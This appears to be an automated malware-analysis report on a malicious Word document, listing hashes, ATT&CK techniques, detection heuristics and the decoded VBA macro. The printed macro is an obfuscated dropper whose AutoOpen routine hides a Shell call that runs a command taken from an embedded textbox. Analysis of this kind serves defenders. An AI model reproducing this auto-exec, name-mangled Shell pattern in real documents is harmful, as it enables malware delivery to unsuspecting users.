Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16993ad1b17249f6…

MALICIOUS

Office (OLE)

81.4 KB Created: 2018-12-12 06:39:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: d9fe17478aad27ade8f0acdcd4a25f8b SHA-1: 7c5bfaf8a9b590d87c78a92a7e626063eda957d2 SHA-256: 16993ad1b17249f6ff86e01fac4d7d09743257984f09389722fa4228d18a0c27
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of obfuscated VBA code. Critical heuristics indicate the use of Shell() calls and cmd.exe invocation, strongly suggesting the script's purpose is to download and execute a secondary payload. The ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Generic-6781662-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-6781662-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(nmEhbsbpl, BARBB), hYuYm)
   Set jLTUEGQFqnOsqIdi = wlhFwnwzMdXcXi
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
owCWJQZV
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7618 bytes
SHA-256: ee1aece739d536c9260ed47e1521fba1cd295842dbbe8f8f030d5b46c03c51d1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
208 of 243 identifiers look randomly generated (e.g. 'JIjGsUzhVUKAGLVSbFGVjKtG') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jzzfSMHbW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
owCWJQZV
End Sub

Attribute VB_Name = "CZAdYStUvHX"
Function owCWJQZV()
On Error Resume Next
   Set wQrdECuuScTYSIqOWOpit = HiNiiOXUzBTisNFYh
      RDzXIKNGPwVIJPr = Sqr(JIQWUfXwiSFjPdJzhfRqT)
         ZCUczazprErLEwHLplfzs = 280710177 * Oct(dqlnXbiwAOZjOBr) * 213645632 * wpaAsEZNpWqfKUrjwrlNncON - (39958568 + CLng(ziNtJzFiADQElmLZhFnSqti) * 928227 * CBool(116453494))
   GSJWbNuBGuAwNsZc = ChrW(nSrGwCNuJZnADwMbwr)
   Set NDfZjJmonvbHBwGGpADLUhsC = ztAbjosPzLtdljMIuwFWhtC
      NiAjhcfKdijPlMEGjsCkN = Sqr(DUrCainfNDqONEoMiWfi)
         HwzWhuznorSYkajpiCzXwQjY = 153279644 * Oct(zRXKfEidwXufsonrYLYpdiHX) * 25527025 * iLBqQYziuhQiLOuHdJ - (309760068 + CLng(JIjGsUzhVUKAGLVSbFGVjKtG) * 182656867 * CBool(302434869))
   KvWBwbEKabuwwY = ChrW(NZXPYzsbfXCZSzOdi)
   Set iCfBtjWcBJPChcTmQdsFJi = RsiofISAINOYwHSVSQbpB
      foqRBtolocvTOJ = Sqr(uqTjJGpTDWfzIapi)
         jQMtwNHYMWYmccsIJXZIGst = 276566882 * Oct(muWvjLzuDmzzSvcLKw) * 238065845 * jaumowCPZmoXWXMTl - (189984258 + CLng(LZrZpuLrcwwvwJZoLAjG) * 221043452 * CBool(55948043))
   UQwaaujJahPYrpBErdHaS = ChrW(rsNzjASBWzCpXJrUlwsn)
   Set lAGiwHjSrLLiiatrJVSZjiN = tiPMoVTqifBMjWvXhwkQwL
      cLdTJInMCmRpSsUiWrVwDYj = Sqr(mausiwwqhjnAKCK)
         vSwZShcfMTOYdPrDiVjjO = 305211060 * Oct(EpaHiETTThoBkZGpFzPj) * 94767448 * YMSsjWoVbTAnukratasAu - (284365274 + CLng(OGdXjblwNQUROoqVziwGVA) * 322118673 * CBool(208728423))
   ziEpnOpjXEmFwIuqUm = ChrW(ZSdlDEuVwkUOJwBiwj)
   Set GWwoSRPYSbwnPzqYw = nIAfttmvOokZvDWGWN
      RvDijwQmwIpWqVR = Sqr(AObdDCXCaosjsQJbcQ)
         bjZQjcGomZRuEijWsvkE = 103489344 * Oct(BIvGkthzNuZrpkbzuBw) * 92921625 * cItoCJuRjsLODiRUasMGm - (79647834 + CLng(UMozuuAjIBnYzBSikn) * 228786871 * CBool(219507374))
   OclBJcUJjHwQlZ = ChrW(NKzWfJDNQJSTIJcTDiV)
   Set vzCPPihSjVmPzmkv = kMcrUPTrAfmHbQiaXjKbwNl
      XnoGJVluoqXwIS = Sqr(hiXOzuLHEDpcCaUwWba)
         hbNifusSksmRFIcsYz = 245394507 * Oct(MfjCUsiUTsBUiwt) * 36849839 * pjFCsWLRXWuzcZWqSH - (11138488 + CLng(KNmLYzsrRjHPXXjQfETIXlz) * 146042906 * CBool(263143660))
   rSiiPqrNKbwtisiUAo = ChrW(faFqFKNosVZQQXBIZ)
Const BARBB = 0
   Set HpwhplJNQNzsWJG = zAAJnAniRGlGhbcWC
      iFPftnkoGDJVFCHvIX = Sqr(MRGBQPizCfokcpCbBBUG)
         ZztkZvBizmSErpCb = 22696817 * Oct(PKniIRSjfCaFtoQRnSMRqThR) * 17108925 * VfkzAzzBEwarqcSsQwHtsin - (173772217 + CLng(jOmJvcVfPwmvfC) * 178383077 * CBool(52913345))
   jUqwckzzDjJIArrKzRkLsJU = ChrW(LaffzkvjlAuTjG)
   Set frccuUhFuHUaRF = WzIzJMZHDJfwspmSuKDIDJn
      WdHUwdIONifGiRfqGkZ = Sqr(PYpQHpaQNwqNKjdjFE)
         ZARiKJjkdfMBTjTJ = 326662133 * Oct(qMHDsAQrSvznzlBZASzqiG) * 180923614 * wlBvXdrZjsOsCV - (57111215 + CLng(RSqklpjaztjBMHJkl) * 20152202 * CBool(48210301))
   zVTpEZHGXJWiJjY = ChrW(PrTGEaviuqNYidHz)
   Set SJYuwqikoRdmizcDdUE = FWsWJpvSMBJjGRhKvCZOv
      WGbwRPfTjXWCSwRBkGuMX = Sqr(ItfQSSHbuqmWAmuNYjmtVl)
         EzktuRSUiLjwiQAz = 88080178 * Oct(EcjQvwfHXiOaiRWj) * 179976373 * hZNJbVDLRnMzXjYhQ - (59564774 + CLng(oDoOmtkFIjRbBoiPnzvA) * 68773519 * CBool(84745249))
   frvaKiBwBNAmOtLbPrQui = ChrW(MLIpTkjUIWbTIWrTZbHjQOAC)
   Set WkIWqYmomjqFfLzjZMAOIAr = CBhHwcvPZwYwpnP
      KTaFIWiCfLhoDBiWtCTpqirJ = Sqr(bjimwrmzDDoZmwjXfclvHL)
         OBFnTaFjcRRjqvPjUv = 282547079 * Oct(wtzGDnRLCGNfPI) * 131210778 * sDSWzWMIURqcPvRARLZVE - (332836221 + CLng(jIuiWDlQhbioQcUCbhomm) * 323136653 * CBool(271983746))
   GoNOEjwjuUlODsqEiAIAlHBX = ChrW(IwnPMzjTwXhpWMwcztwrGzir)
   Set sNUGKTHhDjRGFfqRMO = kDBGfNHWiIsNzUDt
      XkqzARhjFiVaYaqRWXSrG = Sqr(tDwdYKWRmBlFtcXOjmUaZf)
         vFhBvdwkCdirmAXsWKnwU = 275341250 * Oct(hOuHnjWjPORBXqJbo) * 271789047 * icLkkOMtwQljRGnAm - (8334024 + CLng(JEjzSdUzzBMjzGDHpW) * 196630798 * CBool(59655813))
   amYPdfAukqWZSjMCfsHPONs = ChrW(hmcNwziIsbiRHhowUEPLq)
   Set jLZpLuNiVrzdRWljJ = lVOlZLGPRwPOGXzFHCf
      fPBOKRNRNQmKqifrEumNivc = Sqr(TGkajLPjDSvWUzbHw)
         CAKEYcrFBNQRJjnkvDjmkB = 9729067 * Oct(GYiJXESiPstbGO) * 224220323 * ibKCTlJLjjEXaLE - (8244200 + CLng(HwztihwulCQqLdhVYEJqzjUP) * 152139204 * CBool(171105132))
   AuDDorcwPiOzuNHhjsVXFX = ChrW(CHvKzYdkWItwzi)
nmEhbsbpl = jzzfSMHbW.TextBox1 + nirCnwnM + rFKdWti + qzuuzDJ + zhvXG + smAmzw + cbpcwKNZ + TwzvhH + UQMsKkBR
   Set sihsmnjBjfsGkoqGizN = MZfMUWYTLcKBwpQmhLZwUnE
      wZuhPjrOUlMSCVX = Sqr(ONqDUqIuYEYTaQYZV)
         PubqDblvjNdwjMnJhGz = 3165304 * Oct(FRAJKLYoEMmwiFdnYKOSYK) * 309407234 * ZUMfRiScVkJcbhsQM - (49922150 + CLng(BqBEGJVJwihOvWjjqwsW) * 141544640 * CBool(304490910))
   buwAMqRwGRhtaYPF = ChrW(wYVtnWNGszCRTkHGja)
   Set hEizqYdEwutMCXjkzOAw = jjoknbmCGLlWjZVl
      zRNhlbptwrDGwkzpUAUpMCzr = Sqr(riHqVwOwBQikcv)
         zrrjivIamjMYAvl = 313918327 * Oct(WfushDatpHzUQEsEMq) * 140671586 * NIGjIVJJZNCPUNOw - (6393976 + CLng(RoQqtnKFVcTToFQkH) * 93680435 * CBool(165296667))
   jLtRTbFizCqvEwZj = ChrW(XOSYCAhpFYzzkGAXpjFvwWR)
   Set aZqsBcaMcufsOBb = diSRkMbwHjEGNSkfDHWX
      cvBQDYXwGouastZuaX = Sqr(wtkVXTwJKAoGfDMA)
         RBjoEABsKjUZKkdjIZZsa = 198839566 * Oct(EOMvRhPWjsqdZrZttjcNmikz) * 103998388 * WWimIJmFcZrEjKuK - (265807065 + CLng(TGDsijfIzQJaiNjGKsst) * 234001145 * CBool(216694674))
   UPABpzRScpDfJHiowHAMWvB = ChrW(iYdACSuznPjdhiqJfwhkahW)
   Set TcrVckAjRZMzKtVzw = uRCVYzzKHcSKKfBZsQYiwDAM
      aMkDZclTzkIMwErYRcYO = Sqr(OjzlAEZQzqQprwm)
         HizhrNvsMuMjKhbb = 331553543 * Oct(LjmSYYMDztsWGFFKJt) * 169070722 * PBlEZGrsFQPorUmGapJaV - (263057495 + CLng(CApnHbzXhCRGKvhs) * 122454397 * CBool(214443563))
   zjdDflSwjUkzMboiDj = ChrW(kRGtimaOcLtwruBqd)
   Set iXIObtrWwBBcMzujCXpldRK = XpSUZpGKRZCYriHCEL
      PoDFSAnwtNNPRNlqlbWwHvrL = Sqr(uVrTQnjSSuiUkzUlrNwDJk)
         GsVahOrUzrSXivid = 174669355 * Oct(zzTCWBcCKPhuIcJLlbuM) * 336142116 * bZlcRbpqMkWWMl - (286345365 + CLng(VTwfDbmDjpNTKC) * 229402256 * CBool(91942541))
   tXtRtkAMUDzYlQYTiGaOT = ChrW(znhtbOWjKBIoSO)
   Set mOhWqUodafwaVsnwKwk = PszSmmsawNkiMrESqra
      JXDoBwnVizzTsi = Sqr(uRPkEcNiMvSOdnV)
         SWkProIQowWwANQ = 249422836 * Oct(iJBbHWYwtqsijJhIrjzI) * 124387936 * GIwwFFRdzfjkviTfL - (340087766 + CLng(TwzQhEponJjTdKQD) * 298711286 * CBool(185829084))
   RSfPrNCzNDoLVzwz = ChrW(IrRsQRdUSLDZfaaDAi)
   Set jiODPpXMRbBpdzSVkvs = XmHoWvJwlnWhhbiYBjMNKqt
      cduhifiPuGAtbZjUf = Sqr(adFTHBSuTAjfjhtsLtA)
         SGJGmbblzbDrhjQQJJW = 297691579 * Oct(kLdjOaTAiNnTDJTTw) * 215139196 * ZhzswrwzQciCWHNivjZY - (7980348 + CLng(lONQYdZzwKcqThm) * 123648863 * CBool(218010107))
   QcCXALQMqbYnZIiQvjijTV = ChrW(TjXafnfvczkHYGNNCz)
   Set lnbPpaPCoQopNNVzK = riGczjQjGnJqWPFiLRUzzi
      HXJKoWYGamWTzJJprwF = Sqr(ctwtZkiBDcNpMIwEoZ)
         NhjiEAwFVCccwsJzOZPl = 24454654 * Oct(WDwYjGrLFBSWsnwKtsdiNz) * 176477901 * OzCKjfYnYZKdkf - (135270120 + CLng(OKzbJcAWBDfWHZZXcwKiDj) * 180014462 * CBool(169033189))
   izSdTaOYnPDCzqlzjJjz = ChrW(fzznAmVlliiXzf)
wZIlTLDl = Array(nAVvF, qcklYKjv, oAGKiVch, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(nmEhbsbpl, BARBB), hYuYm)
   Set jLTUEGQFqnOsqIdi = wlhFwnwzMdXcXi
      EtzAAtIaYMzqDvajc = Sqr(YpBGEnXWUsdtcTJw)
         wJdiHqLJtwwtEmwuRzoPwo = 78655757 * Oct(dZQwfjjhGHdXzjQzpwL) * 281934946 * dPGjwLTUjpIzBBhaPdJ - (105956988 + CLng(mzIZukipZBdVAzKJQ) * 214356414 * CBool(161656131))
   NaRUawfiYaTBaNrS = ChrW(HDalfGofcACXQzzlDBLfnwwF)
End Function

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